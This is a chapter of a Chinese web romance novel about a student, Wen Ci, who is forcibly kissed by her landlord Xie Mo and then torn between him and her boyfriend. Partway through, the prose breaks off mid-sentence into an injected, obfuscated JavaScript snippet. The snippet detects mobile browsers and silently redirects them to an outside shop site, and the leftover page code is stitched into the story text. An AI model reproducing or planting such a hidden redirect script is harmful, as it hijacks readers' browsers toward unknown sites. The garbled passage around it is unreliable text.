24. 变态
作品:《阴湿少爷的金丝雀》 怔愣两秒,茶色的瞳孔微微收缩。
下一秒,几乎是身体本能反应,她用力推开他。
谢墨松松垮垮地站在那,瞳仁里的情绪深不见底,被她推得后退半步,唇角还挂着阴鸷的笑,等待着小姑娘或羞或恼的反应。
可没想到,她只是瞪大了眼睛看着他,一句话没说,几乎是踉跄地冲下了楼梯,几步就不见了踪影,像只受惊的小兔子。
一路狂奔到一处僻静的树荫下,温糍才大口地喘气。
心脏早在胸腔里敲起了狂乱的擂鼓。
是谢墨疯了?还是她自己疯了?
为什么当他刚才那样做的时候,她竟然没有感到气恼,满脑子反反复复回放的,全是他温热柔软的唇?
那短暂的贴合之后,残留的竟然是一种莫名的舒适?
这个念头如同惊雷般炸响。
温糍掐了把大腿,强迫自己冷静。疯了疯了!一定是哪里出错了!
她猛地甩头,脑子里一团乱麻,唯有谢墨最后那句话在耳边循环播放。
先离开这里。
她深吸一口气,拔脚正准备走,眼前却被熟影一晃:“无涧?你怎么知道我在这里看房?”
闻声,沈无涧身体明显一顿,转过身看到温糍的一刻,唇角僵了僵。
一想到刚才的事,温糍心里警铃大作,一股愧疚和心虚感从心底而升。
“你那间房子不行,我看墙上有贴了些租房小广告,就在附近转转,想帮你再看看。”
温糍心里更难受了。
“你怎么在这?”
“我租房子,又联系了一家。”
“看过了?”
温糍点点头,垂着睫。
“不行就算了,继续再找找。”
温糍没吱声。
沈无涧目光穿过层叠的枝叶,微微一顿,朝某个方向深深使了个眼色。
不远处的岔路上,林姣正朝这边走来,看到这边的情况,脸上绽放的笑容一瞬消失。
沈无涧表情严肃,用力地眨眼。
林姣撅着唇,赌气地跺跺脚。
温糍突然抬眸,想起来一件更可怕的事情,谢墨还在附近。
“无涧,我们先回去吧,我累了,今天先不看了。”
“好。”
沈无涧话音未落,想拉她的手朝反方向离开,却已经来不及。
温糍大脑懵着,方向感早就乱套,一转过身,正好对上林姣的视线。
沈无涧也同时一寒。
林姣脸上的表情僵住了,她看了看沈无涧,终究没敢违逆他的意思,迅速调整表情,装作只是偶然路过,视线平淡地从他们身上滑过。
“你不打个招呼吗?”
“我又不认识他。”
“上次在医院。”温糍记得清楚。
“她跟陈无遇分手了,跟我一点关系都没有。”
真的吗?
可是第六感清晰敲着警钟。
然而下一秒,这钟就反向敲向她自己。
刚才林姣出现的那个方向,谢墨的身影出现。他步子沉稳,方向明确,正对着她这边走来。
温糍全身的神经都绷紧了。
谢墨个高腿长,几步就走到他们身边,像没看到沈无涧一样,目光直接落在温糍身上。
“合同,你忘签了。”
温糍一愣,还没反应过来,沈无涧皱了皱眉:“你谁啊?”
温糍连忙道:“房东,我刚才看房的房东。”
“合同?”沈无涧接过谢墨手上的东西,翻了两页,看向温糍,“你不是说没看中?”
不待温糍开口,谢墨懒声道:“不是没看中,是嫌价格高。现在我降价了,600一月,你租吧。”
600一个月?
温糍飞速眨眼。
“600?”沈无涧蹙眉,暗暗拉过温糍,低语,“别被骗了。”
“怎么可能骗你?”谢墨的耳朵像比谁都灵,从兜里掏出一个身份证递过来,“给你们验明真身。”
温糍心里更是一抖,视线下意识地落到他身份证日期上。
沈无涧扬了扬眉:“你才18?”
“成年了,可以出租房子。”
“你这么小,哪来的房子出租。”
谢墨慢条斯理地道:“不小心,是房二代。”
温糍全程没听他俩在说什么,脑中更是乱成一团,什么鬼,他还真是弟弟?
“咳咳。”
谢墨轻咳一声,温糍回神。
“租吗?温小姐,你们学校附近这么便宜又好的房子恐怕只有我这一间了。”
温糍哑然,接过了笔,笔尖刚刚碰到白纸,合同就被沈无涧一夺。
“我看一下合同。既然你房子这么好,干嘛还压低价格租?”
“懒得来回找人看房,能租出去就行。”
“你不想多赚钱吗?”
“不想。”
沈无涧一愣:“为什么?”
“钱多,不差这点。”
“……”沈无涧明显无语,顿了顿又问,“不差钱你还租什么房子?放着空着积灰得了,还省事。”
谢墨打了个哈欠,十分欠扁地道:“闲着无聊啊,租租房子,收收房租就是我的工作。每天醒来思考今天该收哪套房的租,就是我的生活动力。人生么,总得有点追求,哪能碌碌无为,虚度光阴呢。”
哥们你还挺励志的呢。
沈无涧还想说什么,温糍从他手里抽回合同,两笔签上了她的名字,递还给谢墨。
“租金我稍后转给你。”
谢墨煞有其事地看了眼合同,嗯了一声,最后还不忘一式两份。
合同签好,温糍匆匆道别,拉着沈无涧就走。
就在错身而过的那一瞬间。
沈无涧侧眸,两个男人的目光在空中相撞。
谢墨轻轻勾唇,意味不明地扯了下嘴角。
只是一眼,沈无涧迅速收回目光。
“这个房东……”
“怎么了?”
“感觉让人很不舒服。”
“有吗?他也没做什么啊。”
沈无涧按了按太阳穴:“就觉得,他的眼神……像……”
雨后的霉地里生出不知名菌类,窝在大树干根处不见天日。
沈无涧灵光一现道:“就像这种霉菌,看一眼浑身都发潮。”
他走上前去,用脚狠狠地将野菌菇碾碎。
温糍含糊“哦”了声,瞥眼看去,那道颀长的身影已经不在原地了。
*
虽然开学还不到一个月,但A大建筑系作为全国顶尖的专业,一向要求严格。哪怕是对大一新生,也早早开始系统建模思维的培养。
上午的《建筑学基础》上完,向来以魔鬼陈著称的陈教授,平静地投下了一颗重磅炸弹。
“同学们,理论需要结合实践,本学期第一次实验任务已经发布到系统了。两人一组,自行组队,完成指定地块的初步环境建模,国庆后提交。”
“模型成果将计入平时考核成绩,各位认真对待。”
宣布完后,班里哀嚎一片。
“不是吧!那国庆假期还怎么过啊。”
“我机票都买好了。”
“老师,我国庆要回老家看我太奶。”
王静雅戳了戳温糍:“咱俩一队。”
温糍当然没意见。
没想到张雨庭也过来,下巴一扬:“作业,一起?”
温糍一愣,王静雅立马举手:“名花有主。”
张雨庭冷哼一声,不太高兴地坐回座位,勾住陈竹的肩膀,接着就看到陈竹小鸡啄米似的点头。
温糍有点懵:“雨庭怎么会想找我组队啊。”
她不是一直看自己不顺眼吗?虽然温糍自己也搞不懂,到底哪里惹到了这位娇花。
王静雅撇嘴:“她就是有病,看到我找你,就故意想抢。我都不知道哪儿得罪她了,整天看我不顺眼。”
温糍:“……”她不是看我不顺眼吗?
“对了,你房子租到了吗?”
温糍点头。
“多少钱。”
“600。”
“600!!!这么便宜?你不是说想给妹妹租个好点的吗?”
温糍扯了扯唇:“条件还不错,房东廉租。”
“我去,这么好。”王静雅又朝张雨庭飞了飞刀子眼,“等我赚了钱,我想也搬出去了。不能看到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511385|185190||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个女人。”
“哎呦,我们才刚当室友,你搬走我舍不得。”
“也是,那就为了我们可爱的小糍糍,我忍了。”王静雅眯眯笑,“对了,之前送了你很多东西的那位谢先生,最近好像没见到?他不来找你了吗?”
温糍一噎:“他……忙啊,而且我们就是雇拥关系,人家也没理由老来看我。上次送的那些东西,我都不知道该怎么还人情。”
两人一边聊,一边收拾书包往外走。
操场上,志愿者们正忙着拉横幅布置场地,为两天后的院系篮球赛做准备。
“你道德感也太强了,人家大佬愿意送,你就大大方方收着。这点钱对他们来说根本不算什么,你不也说了嘛,他就是觉得你暑假活儿干得好。你要是总放在心上,推来推去的,反而显得小家子气。”
温糍默不作声,觉得王静雅说的似乎也有点道理。
“而且,你要不要试着接触一下谢大佬,跟校草PK?”
“噗……”温糍一口水差点呛到,咳了半天。
王静雅笑:“你不是吧,这么乖?谈个恋爱而已,别告诉我你打算一棵树上吊死。女孩子的青春就这么几年,我告诉你,别一个恋爱谈四五年,最后被甩了,年龄也拖大了,得不偿失。”
温糍还是摇摇头:“我没想这么多。”
她对感情的看法很简单。父母张梨花和温绍远在一起时,三天里要吵两天半。小时候虽然没怎么见过父母恩爱的样子,但她并没有因此对爱情失望,反而一直抱有期待。
也许正是因为太期待,所以她情窦初开得比较早,高中时就悄悄注意到了沈无涧。如今,那个像天之骄子一样的男生终于成了她的男朋友,可是……
温糍又想起谢墨,心跳不由加快。
王静雅后面说的话,她几乎没听进去。
“总之,广撒网总不错。”
一直到了寝室,王静雅还在滔滔不绝。
温糍嗯嗯地应着,拿着洗漱用品去了卫生间。小姑娘穿着睡袍,肩带纤细,衬得锁骨清晰平直,往下是骤然收束的腰身,盈盈一握。
这么好的小姑娘,在感情方面却单纯得让人心疼。
王静雅摇摇头。
校草帅是帅,可花名在外,这傻丫头恐怕根本不知道沈无涧在A大的那些绯闻。
*
寝室熄了灯。
除了还在追剧的王静雅偶尔点动鼠标,一片寂静。陈竹懒,整天睡不够。张雨庭雷打不动,每天十点就要敷面膜睡美容觉。
402除了王静雅,没人有熬夜的习惯。
但今晚,温糍也睡不着。手机屏幕亮起,沈无涧的“晚安”映亮了她带着负罪感的脸。
她烦躁地翻了个身,点开了和乔丽丽的聊天框,一股脑把事情都说了一遍。
糍:【我完了,心里好乱。】
消息刚发出去没多久,手机就嗡嗡震个不停,乔丽丽的回复连珠炮砸过来:
【???】
【温糍你清醒一点!打住!立刻给我打住!】
【离那个雇主远一点!听见没有,能多远就多远!你们现在已经没有任何关系了】
【听我的,他就是那种阴湿男。阴湿男你知道吗?你上小黑书搜搜】
【这种阴湿男最可怕了!】
【控制欲超强,得不到就毁掉】
【被黏上你就完了!】
【你想想看,他看你的眼神是不是像蛇一样?冷冰冰湿漉漉的?让你脊背发凉?】
【这种男人最会骗你这种傻白甜了,能把你啃得骨头都不剩】
【你有男朋友了!你男朋友多好,阳光开朗还有钱,别犯糊涂】
【听见没有!赶紧把他拉黑删除!下次他再靠近你就报警!他在强吻你懂吗?呸!什么玩意儿!】
【他!就!是!个!变!态!】
温糍盯着屏幕,回了“知道了”,“好的”。
她默默收起手机,没敢告诉乔丽丽后续。
被吻之后,她其实感觉,还挺快乐的。
甚至,还想,再亲???怎么回事!
为什么会这样啊。
温糍把枕头闷在头上,真正变态的人,会不会是她自己啊。

